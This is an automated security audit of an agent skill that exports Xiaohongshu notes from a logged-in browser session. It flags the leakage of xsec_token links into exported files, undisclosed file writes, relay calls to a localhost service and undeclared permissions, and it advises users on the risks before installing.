Security audit
Security checks for vulnerabilities and agentic risk
The skill appears to export xhs notes as advertised, but it saves xsec_token-bearing links and scraped content from a logged-in browser session to local files by default.
Review before installing. Use it only if you are comfortable letting a local script automate your logged-in xhs browser and store exported notes on disk. Keep outputs in a private directory, do not commit or share the generated Markdown/JSON files without removing xsec_token parameters, and prefer a version that strips those tokens by default.
The skill explicitly preserves note links containing xsec_token in normal output, creating systematic leakage of sensitive authenticated URL parameters into local files. If those files are shared, indexed, synced, or processed by other tools, the token may grant unintended access or reveal session-scoped information.
The input and output contract normalizes accepting profile URLs with xsec_token and propagating them through the workflow, encouraging users and downstream systems to preserve sensitive tokens as ordinary data. This broadens exposure across logs, input files, generated Markdown, and any pipelines that consume the artifacts.
The output template explicitly writes the original link with xsec_token for every exported note, making token leakage a default feature rather than an accidental side effect. Because this occurs per note, the exposure is repeated at scale and is especially risky if outputs are archived, shared with collaborators, or fed into AI systems.
Without declared permissions the skill's intent is opaque and cannot be validated.
The description says exported files retain source links with xsec_token values and engagement metadata, but it does not frame these as sensitive values requiring careful handling. Persisting authenticated or session-like tokens in Markdown artifacts can expose access-bearing URLs through backups, version control, or later AI ingestion.
The relayCall function POSTs browser automation commands and parameters to an HTTP service on localhost, and later operations extract note content and browser state through that channel. Although the header comments mention the relay API, there is no explicit user-facing warning that page-derived data is transmitted to a separate local service.
The skill writes exported note content, summaries, and result files to disk via writeFileSync, and also creates the output directory earlier, but there is no confirmation prompt or clear user-facing disclosure at the point of execution about the local data being persisted. For a code file, file writes should have some visible warning, logging, comment/docstring disclosure, or be otherwise clearly disclosed to the user.
The skill writes scraped notes and metadata to local directories, but the description does not prominently warn users that persistent files will be created. This can lead to unintentional storage of third-party content on disk, especially in shared or synced environments, increasing privacy and compliance risk.
Comments and user-visible error/status strings in the skill are written in Chinese, and the runtime messages shown to the user are likewise Chinese-only. Under the language/locale policy, forcing a specific language without opt-in can be a policy violation unless a language choice or justification is provided.
